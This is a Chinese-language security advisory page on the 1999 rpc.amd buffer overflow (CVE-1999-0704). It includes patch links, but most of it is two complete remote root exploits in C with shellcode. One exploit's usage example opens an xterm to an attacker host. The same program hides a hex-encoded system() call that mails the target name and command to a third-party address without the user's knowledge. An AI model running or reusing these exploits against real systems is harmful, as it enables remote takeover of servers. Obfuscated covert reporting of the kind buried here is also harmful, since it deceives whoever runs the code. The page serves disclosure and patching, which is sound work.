xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

多个供应商rpc.amd的溢出漏洞


发布时间:1999-09-03
更新时间:1999-09-03
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:614
CVE(CAN) ID:CVE-1999-0704

受影响系统
Linux rpc.amd
    - BSDI BSD/OS 4.0.1
    - BSDI BSD/OS 3.1
    - FreeBSD 3.2
    - FreeBSD 3.1
    - FreeBSD 3.0
    - RedHat Linux 6.0 x86
    - RedHat Linux 5.2
    - RedHat Linux 5.2 x86
    - RedHat Linux 5.1
    - RedHat Linux 5.0
    - RedHat Linux 4.2
详细描述
<RPC AMD>

Linux操作系统下的rpc.amd守护进程用来在收到访问部分文件系统的请求时自动装载相关的文件。在其他的系统中,这个功能由automountd来完成。

Linux系统下的rpc.amd在使用plog()函数时,对边界换冲缺少正确的检查,可导致产生远程溢出问题,提交精心构造的超长请求溢出缓冲区数据可以获取amd进程运行的权限来执行任意代码。

测试代码
/*
* SDI rpc.AMD automountd remote exploit for RedHat Linux
* Sekure SDI - Brazilian Information Security Team
* by c0nd0r <condor@sekure.org> - Jul/99
*  
* AMD doesn't check bounds in the plog() function, so we may
* call the procedure 7 and exploit this vulnerability.
* It has been tested under rh5.2/5.0 but this vulnerability exists in
* all versions.
*
* Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
*         vader, fcon, slide, corb, soft distortion and specially to
*         my sasazita!  Also lots of thanks to toxyn.org(frawd,r00t),
*         pulhas.org, phibernet, superbofh(seti) and el8.org (duke).
*         #uground (brasnet), #sdi(efnet), #(phibernet).
*          
* usage: SDIamd -h <host> -c <command> [-p <port>] [-o <offset>]
*        where -p <port> will bypass the portmap.
*
* Warning: We take no responsability for the consequences on using this
*          tool. DO NOT USE FOR ILICIT ACTIVITIES!
*
* Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
* de seguranca - BOS-BR <bos-br-request@sekure.org>. Fiquem ligado na
* nova pagina do grupo!
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

#define AMQ_PROGRAM ((u_long)300019)
#define AMQ_VERSION ((u_long)1)
#define AMQPROC_MOUNT ((u_long)7)
#define AMQ_STRLEN 1024
#define XDRPROC_T_TYPE xdrproc_t
#define voidp void *
#define NOP 0x90

char shellcode[] =
        "\xeb\x31\x5e\x89\x76\xac\x8d\x5e\x08\x89\x5e\xb0"
        "\x8d\x5e\x0b\x89\x5e\xb4\x31\xc0\x88\x46\x07\x88"
        "\x46\x0a\x88\x46\xab\x89\x46\xb8\xb0\x0b\x89\xf3"
        "\x8d\x4e\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c ";

//typedef bool_t (*xdrproc_t) __P ((XDR *, __ptr_t, ...));
typedef char *amq_string;
typedef long *time_type;
typedef struct amq_mount_tree amq_mount_tree;
typedef amq_mount_tree *amq_mount_tree_p;

struct amq_mount_tree {
  amq_string mt_mountinfo;
  amq_string mt_directory;
  amq_string mt_mountpoint;
  amq_string mt_type;
  time_type mt_mounttime;
  u_short mt_mountuid;
  int mt_getattr;
  int mt_lookup;
  int mt_readdir;
  int mt_readlink;
  int mt_statfs;
  struct amq_mount_tree *mt_next;
  struct amq_mount_tree *mt_child;
};

bool_t
xdr_amq_string(XDR *xdrs, amq_string *objp)
{
  if (!xdr_string(xdrs, objp, AMQ_STRLEN)) {
    return (FALSE);
  }
  return (TRUE);
}

bool_t
xdr_time_type(XDR *xdrs, time_type *objp)
{
  if (!xdr_long(xdrs, (long *) objp)) {
    return (FALSE);
  }
  return (TRUE);
}

bool_t
xdr_amq_mount_tree(XDR *xdrs, amq_mount_tree *objp)
{

  if (!xdr_amq_string(xdrs, &objp->mt_mountinfo)) {
    return (FALSE);
  }

  if (!xdr_amq_string(xdrs, &objp->mt_directory)) {
    return (FALSE);
  }

  if (!xdr_amq_string(xdrs, &objp->mt_mountpoint)) {
    return (FALSE);
  }

  if (!xdr_amq_string(xdrs, &objp->mt_type)) {
    return (FALSE);
  }

  if (!xdr_time_type(xdrs, &objp->mt_mounttime)) {
    return (FALSE);
  }

  if (!xdr_u_short(xdrs, &objp->mt_mountuid)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_getattr)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_lookup)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_readdir)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_readlink)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_statfs)) {
    return (FALSE);
  }

  if (!xdr_pointer(xdrs, (char **) &objp->mt_next, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
    return (FALSE);
  }

  if (!xdr_pointer(xdrs, (char **) &objp->mt_child, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
    return (FALSE);
  }

  return (TRUE);
}

bool_t
xdr_amq_mount_tree_p(XDR *xdrs, amq_mount_tree_p *objp)
{
  if (!xdr_pointer(xdrs, (char **) objp, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
    return (FALSE);
  }
  return (TRUE);
}


int usage ( char *arg) {
  printf ( "Sekure SDI - AMD remote exploit for linux\n");
  printf ( "usage: %s -h <host> -c <command> [-o <offset>] [-p <port>] [-u] \n", arg);
  printf ( " where: [port] will bypass portmap\n");
  printf ( "        [-u  ] will use udp instead of tcp\n");
  exit (0);
}


int *amqproc_mount_1(voidp argp, CLIENT *clnt);


int main ( int argc, char *argv[] ) {
  CLIENT *cl;
  struct timeval tv;
  struct sockaddr_in sa;
  struct hostent *he;
  char buf[8000], *path = buf, comm[200], *host, *cc;
  int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0;  
  long addr = 0xbffff505;

  while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1)
    switch (c) {
    case 'h':
      host = optarg;
      break;

    case 'p':
      port = atoi(optarg);
      break;

    case 'c':
      cc = optarg;
      break;

    case 'o':
      offset = atoi ( optarg);
      break;

    case 'u':
      udp = 1;
      break;

    default:
      damn = 1;
      break;
   }

  if (!host || !cc || damn) usage ( argv[0]);

  sa.sin_family = AF_INET;
  he = gethostbyname ( host);
  if (!he) {
   if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) {
    printf ( "unknown host, try again pal!\n");
    exit ( 0);
   }
  } else
   bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  sa.sin_port = htons(port);
  sd = RPC_ANYSOCK;
  tv.tv_sec = 10;
  tv.tv_usec = 0;

  snprintf ( comm, sizeof(comm), "%s", cc);
  if ( strlen(comm) >= 160) {
    printf ( "command too long\n");
    exit (0);
  } else {
   comm[strlen(comm)] = ';';
   for ( x = strlen(comm); x < 160; x++)
    comm[x] = 'A';
  }  

  addr += offset;
  for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++)
   buf[x] = NOP;

  for ( y = 0; y < strlen(shellcode); x++, y++)
   buf[x] = shellcode[y];

  for ( y = 0; y < strlen(comm); x++, y++)
   buf[x] = comm[y];  

  printf ( "SDI automountd remote exploit for linux\n");
  printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset);

  for ( ; x < 1020; x+=4) {
   buf[x  ] = (addr & 0x000000ff);
   buf[x+1] = (addr & 0x0000ff00) >> 8;
   buf[x+2] = (addr & 0x00ff0000) >> 16;
   buf[x+3] = (addr & 0xff000000) >> 24;
  }

  buf[strlen(buf)] = '\0';  
  
  if (!udp) {
   if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) ==
        NULL)
   {
     clnt_pcreateerror("clnt_create");
     exit (-1);
   }
  } else {
   if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) ==
       NULL)
   {
     clnt_pcreateerror("clnt_create");
     exit (-1);
   }
  }
  printf ( "PORT %d \n", ntohs(sa.sin_port));
  printf ( "Command: %s \n", cc);

  amqproc_mount_1 (&path, cl);
  
  clnt_destroy ( cl);
  
}

  
int *
amqproc_mount_1(voidp argp, CLIENT *clnt)
{
  static int res;
  struct timeval TIMEOUT = {10, 0};

  memset((char *) &res, 0, sizeof(res));
  if (clnt_call(clnt, AMQPROC_MOUNT, (XDRPROC_T_TYPE) xdr_amq_string, argp,
                (XDRPROC_T_TYPE) xdr_int, (caddr_t) & res,
                TIMEOUT) != RPC_SUCCESS) {
    printf ( "voce e' um hax0r!\n");
    printf ( "don't forget to restart amd: /etc/rc.d/init.d/amd start\n");
    clnt_perror ( clnt, "clnt_call");
    return (NULL);
  }
  printf ( "exploit failed\n");
  return (&res);
}












































Taeho Oh(ohhara@postech.edu) 提供了如下测试程序:

begin amd-ex.c
----------------------------------------------------------------------
/*

    Amd Buffer Overflow for x86 linux

    Remote user can gain root access.

    Tested redhat linux : 4.0, 5.1, 6.0
    Tested am-utils version : 6.0

    What requires
    /usr/sbin/amq

    Usage
    $ amd-ex <hostname> <command> [offset]

    Warning : This program can crash amd.

    This program is only for demonstrative use only.
    USE IT AT YOUR OWN RISK!

    Programmed by Taeho Oh 1999/08/31

Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug

*/

#include<stdio.h>
#include<stdlib.h>

#define OFFSET                            0
#define RET_POSITION                   1002
#define RANGE                            20
#define NOP                            0x90

char shellcode[1024]=
    "\xeb\x35"                      /* jmp 0x35             */
    "\x5e"                          /* popl %esi            */
    "\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
    "\x89\xf0"                      /* movl %esi,%eax       */
    "\x83\xc0\x08"                  /* addl $0x8,%eax       */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\x89\xf0"                      /* movl %esi,%eax       */
    "\x83\xc0\x0b"                  /* addl $0xb,%eax       */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\x31\xc0"                      /* xorl %eax,%eax       */
    "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
    "\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
    "\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\xb0\x0b"                      /* movb $0xb,%al        */
    "\x89\xf3"                      /* movl %esi,%ebx       */
    "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
    "\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
    "\xcd\x80"                      /* int 0x80             */
    "\x31\xdb"                      /* xorl %ebx,%ebx       */
    "\x89\xd8"                      /* movl %ebx,%eax       */
    "\x40"                          /* inc %eax             */
    "\xcd\x80"                      /* int 0x80             */
    "\xe8\xc6\xff\xff\xff"          /* call -0x3a           */
    "/bin/sh -c ";                  /* .string "/bin/sh -c "*/

char command[800];

void usage()
{
    printf("Warning : This program can crash amd\n");
    printf("Usage: amd-ex <hostname> <command> [offset]\n");
    printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}

int main(int argc,char **argv)
{
    char buff[RET_POSITION+RANGE+1],*ptr;
    char target[256];
    char cmd[1024];
    long *addr_ptr,addr;
    unsigned long sp;
    int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
    int i;

    printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
    printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
    printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");

    if(argc<3)
    {
        usage();
        exit(1);
    }

    if(argc>2)
    {
        strcpy(target,argv[1]);
        strcpy(command,argv[2]);
    }
    if(argc>3)
        offset=atoi(argv[3]);

    shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
    shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
    shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
    shellcode[32]=(shellcode[32]+strlen(command));
    shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
    shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
    shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
    strcat(shellcode,command);

    strcpy(cmd,"\x65\x63\x68\x6f\x20");
    strcat(cmd,target);
    strcat(cmd,"\x20");
    strcat(cmd,command);
    strcat(cmd,"\x7c");
    strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
    strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
    strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
    strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");

    sp=0xbffff34d;
    addr=sp-offset;

    ptr=buff;
    addr_ptr=(long*)ptr;
    for(i=0;i<bsize;i+=4)
        *(addr_ptr++)=addr;

    for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
        buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
    for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];

    buff[bsize-1]='\0';

    for(i=bsize;i>1;i--)
        buff[i-1]=buff[i-2];

    buff[bsize-1]='\0';

    printf("Jump to 0x%08x\n",addr);

    system(cmd); /* If you want, comment out this line. :) */
    execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}
----------------------------------------------------------------------
end amd-ex.c

解决方案
下载补丁: ftp://updates.redhat.com/6.0/i386/am-utils- 6.0.1s11-1.6.0.i386.rpm ftp://updates.redhat.com/5.2/i386/am-utils- 6.0.1s11-1.5.2.i386.rpm ftp://updates.redhat.com/4.2/i386/am-utils- 6.0.1s11-1.4.2.i386.rpm升级

相关信息
http://www.cert.org/advisories/CA-1999-12.html